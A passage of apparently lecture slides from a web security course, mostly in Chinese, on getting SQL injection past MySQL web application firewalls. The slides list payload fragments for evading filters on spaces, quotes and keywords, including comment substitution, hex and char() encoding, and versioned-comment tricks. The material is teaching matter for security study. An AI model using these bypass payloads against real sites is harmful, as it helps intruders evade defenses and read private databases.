    // Do something with $row  
}
```

**CAN'T GET HACKED BY SQL INJECTION**



**IF THERE'S NO DATABASE**

# 補充：MySQL Bypass WAF

- 空白被過濾

- `/**/`

- `%09, %0a, %0b, %0c, %0d, %a0`

- `id=(-1)UNION(SELECT(1),2,3)`

# 補充：MySQL Bypass WAF

- 引號被過濾
  - SELECT pass FROM user WHERE id=0x61646d696e
  - id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))



# 補充：MySQL Bypass WAF

- 關鍵字被過濾

- OR                   => ||

- =                    => LIKE

- LIMIT 0,1       => LIMIT 1 OFFSET 0

- WHERE            => HAVING

# 補充：MySQL Bypass WAF

- 特殊正規表達式
  - SELECT pwd /\*!FROM\*/ admin
  - SELECT 1 FROM `information\_schema`.schemata
  - PCRE Limit Bypass ([Link](#))

HW0x01 - how2xss

HW0x02 - 之後補上QQ

Q & A



大家可以回家啦  
Go home, everybody!